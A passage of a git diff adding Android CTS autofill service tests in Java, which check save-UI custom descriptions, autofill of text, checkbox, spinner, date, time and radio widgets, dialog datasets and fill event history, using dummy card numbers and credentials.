+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+        mActivity.tapBuy();
+
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+        // Then make sure it does have the custom views on it...
+        final UiObject2 staticText = saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT));
+        assertThat(staticText).isNotNull();
+        assertThat(staticText.getText()).isEqualTo("YO:");
+
+        final UiObject2 number = saveUi.findObject(By.res(packageName, "first"));
+        assertThat(number).isNotNull();
+        assertThat(number.getText()).isEqualTo("4815162342");
+
+        final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
+        assertThat(expiration).isNotNull();
+        assertThat(expiration.getText()).isEqualTo("today");
+
+        final UiObject2 image = saveUi.findObject(By.res(packageName, "img"));
+        assertThat(image).isNotNull();
+        final String contentDescription = image.getContentDescription();
+        if (withContentDescription) {
+            assertThat(contentDescription).isEqualTo("One image is worth thousand words");
+        } else {
+            assertThat(contentDescription).isNull();
+        }
+    }
+
+    /**
+     * Tests that a custom save description is ignored when the selected spinner element is not
+     * available in the autofill options.
+     */
+    @Test
+    public void testCustomizedSaveUiWhenListResolutionFails() throws Exception {
+        // Set service.
+        enableService();
+
+        // Change spinner to return just one item so the transformation throws an exception when
+        // fetching it.
+        mActivity.getCcExpirationAdapter().setAutofillOptions("D'OH!");
+
+        // Set expectations.
+        final String packageName = getContext().getPackageName();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId ccNumberId = findAutofillIdByResourceId(context,
+                            ID_CC_NUMBER);
+                    final AutofillId ccExpirationId = findAutofillIdByResourceId(context,
+                            ID_CC_EXPIRATION);
+                    final RemoteViews presentation = new RemoteViews(packageName,
+                            R.layout.two_horizontal_text_fields);
+                    final CharSequenceTransformation trans1 = new CharSequenceTransformation
+                            .Builder(ccNumberId, Pattern.compile("(.*)"), "$1")
+                            .build();
+                    final CharSequenceTransformation trans2 = new CharSequenceTransformation
+                            .Builder(ccExpirationId, Pattern.compile("(.*)"), "$1")
+                            .build();
+                    final CustomDescription customDescription =
+                            new CustomDescription.Builder(presentation)
+                            .addChild(R.id.first, trans1)
+                            .addChild(R.id.second, trans2)
+                            .build();
+                    builder.setCustomDescription(customDescription);
+                })
+                .build());
+
+        // Dynamically change view contents
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onCcNumber((v) -> v.setText("4815162342"));
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+        mActivity.tapBuy();
+
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+        // Then make sure it does not have the custom views on it...
+        assertThat(saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT))).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify EditText by setting with AutofillValue.
+    // ============================================================================================
+    @Test
+    public void autofillValidTextValue() throws Exception {
+        autofillEditText(AutofillValue.forText("filled"), "filled", true);
+    }
+
+    @Test
+    public void autofillEmptyTextValue() throws Exception {
+        autofillEditText(AutofillValue.forText(""), "", true);
+    }
+
+    @Test
+    public void autofillTextWithListValue() throws Exception {
+        autofillEditText(AutofillValue.forList(0), "", false);
+    }
+
+    private void autofillEditText(AutofillValue value, String expectedText,
+            boolean expectAutoFill) throws Exception {
+        // Enable service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_CC_NUMBER, value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        EditText editText = mActivity.getCcNumber();
+        OneTimeTextWatcher textWatcher = new OneTimeTextWatcher(ID_CC_NUMBER, editText,
+                expectedText);
+        editText.addTextChangedListener(textWatcher);
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            textWatcher.assertAutoFilled();
+        } else {
+            assertThat(editText.getText().toString()).isEqualTo(expectedText);
+        }
+    }
+
+    @Test
+    public void getEditTextAutoFillValue() throws Exception {
+        EditText editText = mActivity.getCcNumber();
+        mActivity.syncRunOnUiThread(() -> editText.setText("test"));
+
+        assertThat(editText.getAutofillValue()).isEqualTo(AutofillValue.forText("test"));
+
+        mActivity.syncRunOnUiThread(() -> editText.setEnabled(false));
+
+        assertThat(editText.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify CheckBox by setting with AutofillValue.
+    // ============================================================================================
+    @Test
+    public void autofillToggleValueWithTrue() throws Exception {
+        autofillCompoundButton(AutofillValue.forToggle(true), true, true);
+    }
+
+    @Test
+    public void autofillToggleValueWithFalse() throws Exception {
+        autofillCompoundButton(AutofillValue.forToggle(false), false, false);
+    }
+
+    @Test
+    public void autofillCompoundButtonWithTextValue() throws Exception {
+        autofillCompoundButton(AutofillValue.forText(""), false, false);
+    }
+
+    private void autofillCompoundButton(AutofillValue value, boolean expectedValue,
+            boolean expectAutoFill) throws Exception {
+        // Enable service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_SAVE_CC, value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        mActivity.onSaveCc((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        CheckBox compoundButton = mActivity.getSaveCc();
+        OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
+                ID_SAVE_CC, compoundButton, expectedValue);
+        compoundButton.setOnCheckedChangeListener(checkedWatcher);
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            checkedWatcher.assertAutoFilled();
+        } else {
+            assertThat(compoundButton.isChecked()).isEqualTo(expectedValue);
+        }
+    }
+
+    @Test
+    public void getCompoundButtonAutoFillValue() throws Exception {
+        CheckBox compoundButton = mActivity.getSaveCc();
+        mActivity.syncRunOnUiThread(() -> compoundButton.setChecked(true));
+
+        assertThat(compoundButton.getAutofillValue()).isEqualTo(AutofillValue.forToggle(true));
+
+        mActivity.syncRunOnUiThread(() -> compoundButton.setEnabled(false));
+
+        assertThat(compoundButton.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify Spinner by setting with AutofillValue
+    // ============================================================================================
+    private void autofillListValue(AutofillValue value, int expectedValue,
+            boolean expectAutoFill) throws Exception {
+        // Enable service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_CC_EXPIRATION, value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        mActivity.onCcExpiration((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        Spinner spinner = mActivity.getCcExpiration();
+        OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
+                ID_CC_EXPIRATION, spinner, expectedValue);
+        spinner.setOnItemSelectedListener(spinnerWatcher);
+        mUiBot.selectDatasetSync("dataset");
+
+        if (expectAutoFill) {
+            spinnerWatcher.assertAutoFilled();
+        } else {
+            assertThat(spinner.getSelectedItemPosition()).isEqualTo(expectedValue);
+        }
+    }
+
+    @Test
+    public void autofillZeroListValueToSpinner() throws Exception {
+        autofillListValue(AutofillValue.forList(0), 0, false);
+    }
+
+    @Test
+    public void autofillOneListValueToSpinner() throws Exception {
+        autofillListValue(AutofillValue.forList(1), 1, true);
+    }
+
+    @Test
+    public void autofillInvalidListValueToSpinner() throws Exception {
+        autofillListValue(AutofillValue.forList(-1), 0, false);
+    }
+
+    @Test
+    public void autofillSpinnerWithTextValue() throws Exception {
+        autofillListValue(AutofillValue.forText(""), 0, false);
+    }
+
+    @Test
+    public void getSpinnerAutoFillValue() throws Exception {
+        Spinner spinner = mActivity.getCcExpiration();
+        mActivity.syncRunOnUiThread(() -> spinner.setSelection(1));
+
+        assertThat(spinner.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
+
+        mActivity.syncRunOnUiThread(() -> spinner.setEnabled(false));
+
+        assertThat(spinner.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify DatePicker by setting with AutofillValue
+    // ============================================================================================
+    @Test
+    public void autofillValidDateValueToDatePicker() throws Exception {
+        autofillDateValueToDatePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
+                true);
+    }
+
+    @Test
+    public void autofillDatePickerWithTextValue() throws Exception {
+        autofillDateValueToDatePicker(AutofillValue.forText(""), false);
+    }
+
+    private void autofillDateValueToDatePicker(AutofillValue value,
+            boolean expectAutoFill) throws Exception {
+        // Enable service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_DATE_PICKER, value)
+                .setField(ID_CC_NUMBER, "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        DatePicker datePicker = mActivity.getDatePicker();
+        int nonAutofilledYear = datePicker.getYear();
+        int nonAutofilledMonth = datePicker.getMonth();
+        int nonAutofilledDay = datePicker.getDayOfMonth();
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        OneTimeDateListener dateWatcher = new OneTimeDateListener(ID_DATE_PICKER, datePicker,
+                2017, 3, 7);
+        datePicker.setOnDateChangedListener(dateWatcher);
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            dateWatcher.assertAutoFilled();
+        } else {
+            Helper.assertDateValue(datePicker, nonAutofilledYear, nonAutofilledMonth,
+                    nonAutofilledDay);
+        }
+    }
+
+    private long getDateAsMillis(int year, int month, int day, int hour, int minute) {
+        Calendar calendar = Calendar.getInstance(
+                mActivity.getResources().getConfiguration().getLocales().get(0));
+
+        calendar.set(year, month, day, hour, minute);
+
+        return calendar.getTimeInMillis();
+    }
+
+    @Test
+    public void getDatePickerAutoFillValue() throws Exception {
+        DatePicker datePicker = mActivity.getDatePicker();
+        mActivity.syncRunOnUiThread(() -> datePicker.updateDate(2017, 3, 7));
+
+        Helper.assertDateValue(datePicker, 2017, 3, 7);
+
+        mActivity.syncRunOnUiThread(() -> datePicker.setEnabled(false));
+
+        assertThat(datePicker.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify TimePicker by setting with AutofillValue
+    // ============================================================================================
+    @Test
+    public void autofillValidDateValueToTimePicker() throws Exception {
+        autofillDateValueToTimePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
+                true);
+    }
+
+    @Test
+    public void autofillTimePickerWithTextValue() throws Exception {
+        autofillDateValueToTimePicker(AutofillValue.forText(""), false);
+    }
+
+    private void autofillDateValueToTimePicker(AutofillValue value,
+            boolean expectAutoFill) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_TIME_PICKER, value)
+                .setField(ID_CC_NUMBER, "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        TimePicker timePicker = mActivity.getTimePicker();
+        mActivity.syncRunOnUiThread(() -> {
+            timePicker.setIs24HourView(true);
+        });
+        int nonAutofilledHour = timePicker.getHour();
+        int nonAutofilledMinute = timePicker.getMinute();
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener(ID_TIME_PICKER, 1,
+                timePicker, 12, 32);
+        timePicker.setOnTimeChangedListener(timeWatcher);
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            timeWatcher.assertAutoFilled();
+        } else {
+            Helper.assertTimeValue(timePicker, nonAutofilledHour, nonAutofilledMinute);
+        }
+    }
+
+    @Test
+    public void getTimePickerAutoFillValue() throws Exception {
+        TimePicker timePicker = mActivity.getTimePicker();
+        mActivity.syncRunOnUiThread(() -> {
+            timePicker.setHour(12);
+            timePicker.setMinute(32);
+        });
+
+        Helper.assertTimeValue(timePicker, 12, 32);
+
+        mActivity.syncRunOnUiThread(() -> timePicker.setEnabled(false));
+
+        assertThat(timePicker.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify RadioGroup by setting with AutofillValue
+    // ============================================================================================
+    @Test
+    public void autofillZeroListValueToRadioGroup() throws Exception {
+        autofillRadioGroup(AutofillValue.forList(0), 0, false);
+    }
+
+    @Test
+    public void autofillOneListValueToRadioGroup() throws Exception {
+        autofillRadioGroup(AutofillValue.forList(1), 1, true);
+    }
+
+    @Test
+    public void autofillInvalidListValueToRadioGroup() throws Exception {
+        autofillRadioGroup(AutofillValue.forList(-1), 0, false);
+    }
+
+    @Test
+    public void autofillRadioGroupWithTextValue() throws Exception {
+        autofillRadioGroup(AutofillValue.forText(""), 0, false);
+    }
+
+    private void autofillRadioGroup(AutofillValue value, int expectedValue,
+            boolean expectAutoFill) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_ADDRESS, value)
+                .setField(ID_CC_NUMBER, "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        mActivity.onHomeAddress((v) -> v.setChecked(true));
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        RadioGroup radioGroup = mActivity.getAddress();
+        MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
+                ID_ADDRESS, 2, radioGroup, expectedValue);
+        radioGroup.setOnCheckedChangeListener(radioGroupWatcher);
+
+        // Autofill it and check the result.
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            radioGroupWatcher.assertAutoFilled();
+        } else {
+            if (expectedValue == 0) {
+                mActivity.assertRadioButtonValue(/* homeAddrValue= */
+                        true, /* workAddrValue= */ false);
+            } else {
+                mActivity.assertRadioButtonValue(/* homeAddrValue= */
+                        false, /* workAddrValue= */true);
+            }
+        }
+    }
+
+    @Test
+    public void getRadioGroupAutoFillValue() throws Exception {
+        RadioGroup radioGroup = mActivity.getAddress();
+        mActivity.onWorkAddress((v) -> v.setChecked(true));
+
+        assertThat(radioGroup.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
+
+        mActivity.syncRunOnUiThread(() -> radioGroup.setEnabled(false));
+
+        assertThat(radioGroup.getAutofillValue()).isNull();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatasetFilteringDropdownTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatasetFilteringDropdownTest.java
new file mode 100644
index 0000000..5553b42
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatasetFilteringDropdownTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.commontests.DatasetFilteringTest;
+
+public class DatasetFilteringDropdownTest extends DatasetFilteringTest {
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerCalendarActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerCalendarActivityTest.java
new file mode 100644
index 0000000..e8801a3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerCalendarActivityTest.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.activities.DatePickerCalendarActivity;
+import android.autofillservice.cts.commontests.DatePickerTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "Unit test")
+public class DatePickerCalendarActivityTest extends DatePickerTestCase<DatePickerCalendarActivity> {
+
+    @Override
+    protected AutofillActivityTestRule<DatePickerCalendarActivity> getActivityRule() {
+        return new AutofillActivityTestRule<DatePickerCalendarActivity>(
+                DatePickerCalendarActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerSpinnerActivityTest.java
new file mode 100644
index 0000000..da0aba7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerSpinnerActivityTest.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.activities.DatePickerSpinnerActivity;
+import android.autofillservice.cts.commontests.DatePickerTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "Unit test")
+public class DatePickerSpinnerActivityTest extends DatePickerTestCase<DatePickerSpinnerActivity> {
+
+    @Override
+    protected AutofillActivityTestRule<DatePickerSpinnerActivity> getActivityRule() {
+        return new AutofillActivityTestRule<DatePickerSpinnerActivity>(
+                DatePickerSpinnerActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/DialogLauncherActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DialogLauncherActivityTest.java
new file mode 100644
index 0000000..cc04c0c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DialogLauncherActivityTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+
+import android.autofillservice.cts.activities.DialogLauncherActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+
+import org.junit.Test;
+
+public class DialogLauncherActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<DialogLauncherActivity> {
+
+    private DialogLauncherActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<DialogLauncherActivity> getActivityRule() {
+        return new AutofillActivityTestRule<DialogLauncherActivity>(DialogLauncherActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testAutofill_noDatasets() throws Exception {
+        autofillNoDatasetsTest(false);
+    }
+
+    @Test
+    public void testAutofill_noDatasets_afterResizing() throws Exception {
+        autofillNoDatasetsTest(true);
+    }
+
+    private void autofillNoDatasetsTest(boolean resize) throws Exception {
+        enableService();
+        mActivity.launchDialog(mUiBot);
+
+        if (resize) {
+            mActivity.maximizeDialog();
+        }
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Asserts results.
+        try {
+            mUiBot.assertNoDatasetsEver();
+            // Make sure nodes were properly generated.
+            assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
+            assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+        } catch (AssertionError e) {
+            Helper.dumpStructure("D'OH!", fillRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    public void testAutofill_oneDataset() throws Exception {
+        autofillOneDatasetTest(false);
+    }
+
+    @Test
+    public void testAutofill_oneDataset_afterResizing() throws Exception {
+        autofillOneDatasetTest(true);
+    }
+
+    private void autofillOneDatasetTest(boolean resize) throws Exception {
+        enableService();
+        mActivity.launchDialog(mUiBot);
+
+        if (resize) {
+            mActivity.maximizeDialog();
+        }
+
+        // Set expectations.
+        mActivity.expectAutofill("dude", "sweet");
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        final UiObject2 picker = mUiBot.assertDatasets("The Dude");
+        if (!Helper.isAutofillWindowFullScreen(mActivity)) {
+            mActivity.assertInDialogBounds(picker.getVisibleBounds());
+        }
+
+        // Asserts results.
+        mUiBot.selectDataset("The Dude");
+        mActivity.assertAutofilled();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
new file mode 100644
index 0000000..850a4e3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
@@ -0,0 +1,802 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.LoginActivity.BACKDOOR_USERNAME;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetShown;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForSaveShown;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.commontests.FillEventHistoryCommonTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.FillResponse;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import com.google.common.collect.ImmutableMap;
+
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test that uses {@link LoginActivity} to test {@link FillEventHistory}.
+ */
+@Presubmit
+@AppModeFull(reason = "Service-specific test")
+public class FillEventHistoryTest extends FillEventHistoryCommonTestCase {
+
+    @Test
+    public void testContextCommitted_whenServiceDidntDoAnything() throws Exception {
+        enableService();
+
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert no events where generated
+        InstrumentedAutoFillService.assertNoFillEventHistory();
+    }
+
+    @Test
+    public void textContextCommitted_withoutDatasets() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        sReplier.getNextSaveRequest();
+
+        // Assert it
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
+    }
+
+
+    @Test
+    public void testContextCommitted_idlessDatasets() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username1", "password1");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dataset1", "dataset2");
+        mUiBot.selectDataset(datasetPicker, "dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Finish the context by login in
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        final String expectedMessage = getWelcomeMessage("USERNAME");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
